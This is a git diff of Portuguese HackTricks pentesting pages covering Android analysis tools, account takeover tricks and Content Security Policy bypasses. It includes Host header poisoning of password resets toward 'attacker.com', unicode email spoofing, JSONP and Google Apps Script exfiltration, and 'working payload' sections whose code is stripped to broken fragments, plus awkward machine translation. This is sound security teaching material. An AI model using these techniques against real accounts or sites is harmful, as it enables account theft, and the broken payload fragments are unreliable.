O MobSF também permite que você faça a **diferença/comparação** de análises e integre o **VirusTotal** (você precisará configurar sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
-### Análise dinâmica assistida com o MobSF
+### Análise Dinâmica Assistida com o MobSF
-O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionarão). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
-O **analisador dinâmico do MobSF** pode:
+O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionarão). _Observação: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF**._
+
+O analisador dinâmico do **MobSF** pode:
* **Extrair dados do aplicativo** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas pelo "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando desejar uma captura de tela ou pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
* Capturar **tráfego HTTPS**
@@ -616,7 +617,7 @@ Por padrão, ele também usará alguns Scripts do Frida para **burlar a verifica
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
Para **iniciar** os testes dinâmicos, pressione o botão verde: "**Iniciar Instrumentação**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Monitor de API ao Vivo**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Iniciar Instrumentação").\
-O MobSF também permite que você carregue seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Carregar**" e pressionar "**Iniciar Instrumentação**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
+O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Carregar**" e pressionar "**Iniciar Instrumentação**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
![](<../../.gitbook/assets/image (419).png>)
@@ -624,7 +625,7 @@ Além disso, você tem algumas funcionalidades auxiliares do Frida:
* **Enumerar Classes Carregadas**: Ele imprimirá todas as classes carregadas
* **Capturar Strings**: Ele imprimirá todas as strings capturadas ao usar o aplicativo (muito ruidoso)
-* **Comparação de Strings Capturadas**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
+* **Capturar Comparação de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
* **Enumerar Métodos de Classe**: Insira o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
* **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
* **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que por padrão o MobSF rastreia vários métodos interessantes da API do Android.
@@ -644,8 +645,8 @@ receivers
```
**Ferramentas HTTP**
-Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no rodapé "**HTTP(S) Traffic**" ou uma visualização mais agradável no botão verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **solicitações capturadas** para **proxies** como Burp ou Owasp ZAP.\
-Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Send to Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
+Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no fundo "**HTTP(S) Traffic**" ou uma visualização mais agradável no fundo verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **solicitações capturadas** para **proxies** como Burp ou Owasp ZAP.\
+Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
Após concluir a análise dinâmica com o MobSF, você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
@@ -669,7 +670,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
### [Qark](https://github.com/linkedin/qark)
-Esta ferramenta é projetada para procurar várias **vulnerabilidades de segurança relacionadas a aplicativos Android**, seja no **código-fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK implantável "Proof-of-Concept"** e **comandos ADB** para explorar algumas das vulnerabilidades encontradas (atividades expostas, intenções, tapjacking...). Assim como o Drozer, não é necessário fazer root no dispositivo de teste.
+Esta ferramenta é projetada para procurar várias **vulnerabilidades de segurança relacionadas a aplicativos Android**, seja no **código-fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK implantável "Prova de Conceito"** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (atividades expostas, intenções, tapjacking...). Assim como o Drozer, não é necessário fazer root no dispositivo de teste.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@@ -712,7 +713,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
O AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar possíveis vulnerabilidades de segurança em aplicativos Android.\
-[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
+[Releases para Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
```
python androbugs.py -f [APK file]
androbugs.exe -f [APK file]
@@ -733,7 +734,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
**MARA** é um **F**ramework de **R**everse engineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar nos testes de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
-Ele é capaz de:
+É capaz de:
* Extrair código Java e Smali usando diferentes ferramentas
* Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
@@ -748,11 +749,11 @@ Ele é capaz de:
## Ofuscando/Desofuscando código
-Observe que, dependendo do serviço e configuração que você usa para ofuscar o código, segredos podem ou não ser ofuscados.
+Observe que, dependendo do serviço e configuração que você usa para ofuscar o código, segredos podem ou não ser desofuscados.
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
-Do [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca o código Java. Ele é capaz de otimizar o bytecode, bem como detectar e remover instruções não utilizadas. O ProGuard é um software gratuito e é distribuído sob a Licença Pública Geral GNU, versão 2.
+Do [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. Ele é capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. O ProGuard é um software gratuito e é distribuído sob a Licença Pública Geral GNU, versão 2.
O ProGuard é distribuído como parte do Android SDK e é executado ao compilar o aplicativo no modo de lançamento.
@@ -776,7 +777,7 @@ Você pode fazer upload de um APK ofuscado para a plataforma deles.
### [Simplify](https://github.com/CalebFenton/simplify)
-É um **desofuscador genérico para Android.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que ele se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação usado.
+É um **desofuscador genérico para Android.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação é usado.
### [APKiD](https://github.com/rednaga/APKiD)
@@ -790,7 +791,7 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
### [Androl4b](https://github.com/sh4hin/Androl4b)
-AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate que inclui a coleção mais recente de estruturas, tutoriais e laboratórios de diferentes geeks de segurança e pesquisadores para engenharia reversa e análise de malware.
+AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes geeks de segurança e pesquisadores para engenharia reversa e análise de malware.
## Referências
@@ -811,12 +812,12 @@ AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate qu
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs!
**Percepções de Hacking**\
-Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
+Engaje-se com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
-**Últimos Anúncios**\
+**Últimas Anúncios**\
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
@@ -829,7 +830,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/account-takeover.md b/pentesting-web/account-takeover.md
index a3c84ef13..1880d27b3 100644
--- a/pentesting-web/account-takeover.md
+++ b/pentesting-web/account-takeover.md
@@ -7,9 +7,9 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
@@ -24,15 +24,24 @@ O e-mail de uma conta deve ser tentado a ser alterado, e o processo de confirma
2. Uma conta deve ser criada usando Unicode\
por exemplo: `vićtim@gmail.com`
+Conforme explicado [**neste vídeo**](https://www.youtube.com/watch?v=CiIyaZ3x49c), o ataque anterior também poderia ser feito abusando de provedores de identidade de terceiros:
+
+* Criar uma conta no provedor de identidade de terceiros com um e-mail semelhante ao da vítima usando algum caractere unicode (`vićtim@company.com`).
+* O provedor de terceiros não deve verificar o e-mail
+* Se o provedor de identidade verificar o e-mail, talvez você possa atacar a parte do domínio como: `victim@ćompany.com` e registrar esse domínio e esperar que o provedor de identidade gere a versão ascii do domínio enquanto a plataforma da vítima normaliza o nome de domínio.
+* Faça login via esse provedor de identidade na plataforma da vítima que deve normalizar o caractere unicode e permitir que você acesse a conta da vítima.
+
Para mais detalhes, consulte o documento sobre Normalização Unicode:
+{% content-ref url="unicode-injection/unicode-normalization.md" %}
[unicode-normalization.md](unicode-injection/unicode-normalization.md)
+{% endcontent-ref %}
## **Reutilização de Token de Redefinição**
-Caso o sistema-alvo permita que o **link de redefinição seja reutilizado**, esforços devem ser feitos para **encontrar mais links de redefinição** usando ferramentas como `gau`, `wayback` ou `scan.io`.
+Caso o sistema alvo permita que o **link de redefinição seja reutilizado**, esforços devem ser feitos para **encontrar mais links de redefinição** usando ferramentas como `gau`, `wayback`, ou `scan.io`.
-## **Pré-Assumir o Controle da Conta**
+## **Pré Assumir o Controle da Conta**
1. O e-mail da vítima deve ser usado para se inscrever na plataforma, e uma senha deve ser definida (uma tentativa de confirmá-la deve ser feita, embora a falta de acesso aos e-mails da vítima possa tornar isso impossível).
2. Deve-se aguardar até que a vítima se inscreva usando OAuth e confirme a conta.
@@ -40,7 +49,7 @@ Caso o sistema-alvo permita que o **link de redefinição seja reutilizado**, es
## **Configuração Incorreta de CORS para Assumir o Controle da Conta**
-Se a página contiver **configurações CORS incorretas**, você pode ser capaz de **roubar informações sensíveis** do usuário para **assumir o controle de sua conta** ou fazê-lo alterar informações de autenticação para o mesmo propósito:
+Se a página contiver **configurações CORS incorretas**, você pode ser capaz de **roubar informações sensíveis** do usuário para **assumir sua conta** ou fazer com que ele altere informações de autenticação para o mesmo propósito:
{% content-ref url="cors-bypass.md" %}
[cors-bypass.md](cors-bypass.md)
@@ -78,7 +87,7 @@ Se você encontrar um XSS limitado ou assumir um subdomínio, você pode brincar
## **Manipulação de Resposta**
-Se a resposta de autenticação puder ser **reduzida a um simples booleano, tente alterar false para true** e veja se obtém algum acesso.
+Se a resposta de autenticação puder ser **reduzida para um simples booleano, tente alterar false para true** e veja se obtém algum acesso.
## OAuth para Assumir o Controle da Conta
@@ -88,7 +97,7 @@ Se a resposta de autenticação puder ser **reduzida a um simples booleano, tent
## Injeção de Cabeçalho de Host
-1. O cabeçalho Host é modificado após a iniciação de uma solicitação de redefinição de senha.
+1. O cabeçalho Host é modificado seguindo uma solicitação de redefinição de senha.
2. O cabeçalho de proxy `X-Forwarded-For` é alterado para `attacker.com`.
3. Os cabeçalhos Host, Referrer e Origin são alterados simultaneamente para `attacker.com`.
4. Após iniciar uma redefinição de senha e optar por reenviar o e-mail, todos os três métodos mencionados acima são empregados.
@@ -100,20 +109,25 @@ Se a resposta de autenticação puder ser **reduzida a um simples booleano, tent
* O código de status é alterado para `200 OK`.
* O corpo da resposta é modificado para `{"success":true}` ou um objeto vazio `{}`.
-Essas técnicas de manipulação são eficazes em cenários onde JSON é utilizado para transmissão e recebimento de dados.
+Essas técnicas de manipulação são eficazes em cenários onde o JSON é utilizado para transmissão e recebimento de dados.
## Alterar o e-mail da sessão atual
-De [este relatório](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
+De acordo com [este relatório](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
-* Atacante solicita alterar seu e-mail por um novo
-* Atacante recebe um link para confirmar a alteração do e-mail
-* Atacante envia o link para a vítima clicar
+* O atacante solicita alterar seu e-mail por um novo
+* O atacante recebe um link para confirmar a alteração do e-mail
+* O atacante envia o link para a vítima, que o clica
* O e-mail da vítima é alterado para o indicado pelo atacante
* O ataque pode recuperar a senha e assumir a conta
Isso também aconteceu em [**este relatório**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).
+### Cookies Antigos
+
+Conforme explicado [**neste post**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9), foi possível fazer login em uma conta, salvar os cookies como usuário autenticado, sair e depois fazer login novamente.\
+Com o novo login, embora diferentes cookies possam ser gerados, os antigos voltaram a funcionar.
+
## Referências
* [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
@@ -126,9 +140,8 @@ Isso também aconteceu em [**este relatório**](https://dynnyd20.medium.com/one-
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
-
diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md
index 96c3ce09e..669af00d5 100644
--- a/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -10,7 +10,7 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -25,13 +25,13 @@ Envolver-se com conteúdo que explora a emoção e os desafios do hacking
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
**Últimos Anúncios**\
-Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
+Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
## O que é CSP
-A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como scripting entre sites (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir dos quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
+A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como scripting entre sites (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`.
A implementação do CSP é realizada por meio de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
@@ -89,7 +89,7 @@ object-src 'none';
### Fontes
-* `*`: Permite todos os URLs, exceto aqueles com esquemas `data:`, `blob:`, `filesystem:`.
+* `*`: Permite todos os URLs, exceto aqueles com os esquemas `data:`, `blob:`, `filesystem:`.
* `'self'`: Permite o carregamento do mesmo domínio.
* `'data'`: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).
* `'none'`: Bloqueia o carregamento de qualquer fonte.
@@ -114,7 +114,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
* `'sha256-'`: Lista branca de scripts com um hash sha256 específico.
-* `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.
+* `'strict-dynamic'`: Permite carregar scripts de qualquer origem se tiver sido listado na lista branca por um nonce ou hash.
* `'host'`: Especifica um host específico, como `example.com`.
* `https:`: Restringe URLs para aquelas que usam HTTPS.
* `blob:`: Permite que recursos sejam carregados a partir de URLs de Blob (por exemplo, URLs de Blob criadas via JavaScript).
@@ -130,7 +130,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
-Working payload: `"/>`
+Trabalhando payload: `"/>`
#### self + 'unsafe-inline' via Iframes
@@ -146,7 +146,7 @@ Isso não está funcionando, para mais informações [**verifique isso**](https:
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
-Carga de trabalho funcional:
+Carga de trabalho em funcionamento:
```html
```
@@ -158,7 +158,7 @@ Se você de alguma forma conseguir fazer com que um **código JS permitido crie
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
-Carga de trabalho funcional:
+Carga de trabalho em funcionamento:
```markup
"/>'>
"/>'>
@@ -187,9 +187,9 @@ Payload de trabalho:
```markup
"/>'>
```
-No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivos**.
+No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivo**.
-Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
+Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, de um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
@@ -197,10 +197,10 @@ A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir enc
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que os gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
-### Pontos de Extremidade de Terceiros + ('unsafe-eval')
+### Pontos Finais de Terceiros + ('unsafe-eval')
{% hint style="warning" %}
-Para alguns dos payloads a seguir, **`unsafe-eval` nem sequer é necessário**.
+Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
@@ -264,7 +264,7 @@ O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cl
```
#### Explorando o código JS do Google reCAPTCHA
-De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário, burlando o CSP:
+De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário, burlando a CSP:
```html
```
-#### Abusando de www.google.com para redirecionamento aberto
+#### Abusando do www.google.com para redirecionamento aberto
A seguinte URL redireciona para example.com (de [aqui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
-### Endpoints de Terceiros + JSONP
+### Terceiros Endpoints + JSONP
É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é [feito neste relatório](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
-Cenários como este em que `script-src` é definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os pontos finais JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
+Cenários como este, onde `script-src` é definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os pontos finais JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
```markup
">
">
@@ -341,37 +341,29 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
## Introduction
-Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it can be bypassed using various techniques.
+Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a particular page. However, there are ways to bypass CSP protections and execute malicious code on a website.
## Bypass Techniques
-### 1. **Unsafe Inline Scripts**
+### 1. Inline Script Execution
-By allowing inline scripts using `'unsafe-inline'`, an attacker can execute arbitrary code inline, bypassing the CSP protection.
+One common way to bypass CSP is by executing inline scripts. By using techniques such as dynamic script injection or event handlers, an attacker can execute arbitrary code within the context of a page, even if CSP is in place.
-### 2. **Unsafe Eval**
+### 2. External Script Execution
-Enabling `'unsafe-eval'` allows an attacker to execute dynamic code using functions like `eval()`, which can also bypass CSP restrictions.
+Another technique involves loading external scripts from whitelisted domains. If a website allows loading scripts from a specific domain, an attacker can host malicious code on that domain and execute it on the target website.
-### 3. **Data Protocol**
+### 3. Data: Protocol
-Using the `data:` protocol, an attacker can execute scripts by converting them to Base64 and embedding them within the HTML, bypassing CSP.
-
-### 4. **Meta Tag**
-
-By injecting a `` tag with an `http-equiv` attribute set to `Content-Security-Policy`, an attacker can override the existing CSP directives.
-
-### 5. **Script Gadgets**
-
-Using script gadgets like `document.write()` or `setTimeout()`, an attacker can dynamically create and execute scripts, bypassing CSP restrictions.
+Using the `data:` protocol is another way to bypass CSP restrictions. By encoding the malicious script in Base64 and using the `data:text/javascript;base64,` prefix, an attacker can execute the script within the page.
## Conclusion
-While Content Security Policy is a powerful security measure, it is essential to be aware of these bypass techniques to ensure robust protection against attacks.
+While Content Security Policy is a powerful security measure to protect web applications from various attacks, it is important to understand the potential bypass techniques that attackers can use to circumvent CSP protections. Web developers should carefully configure their CSP policies and regularly test them to ensure they are effectively mitigating security risks.
```
Content-Security-Policy: connect-src www.facebook.com;
```
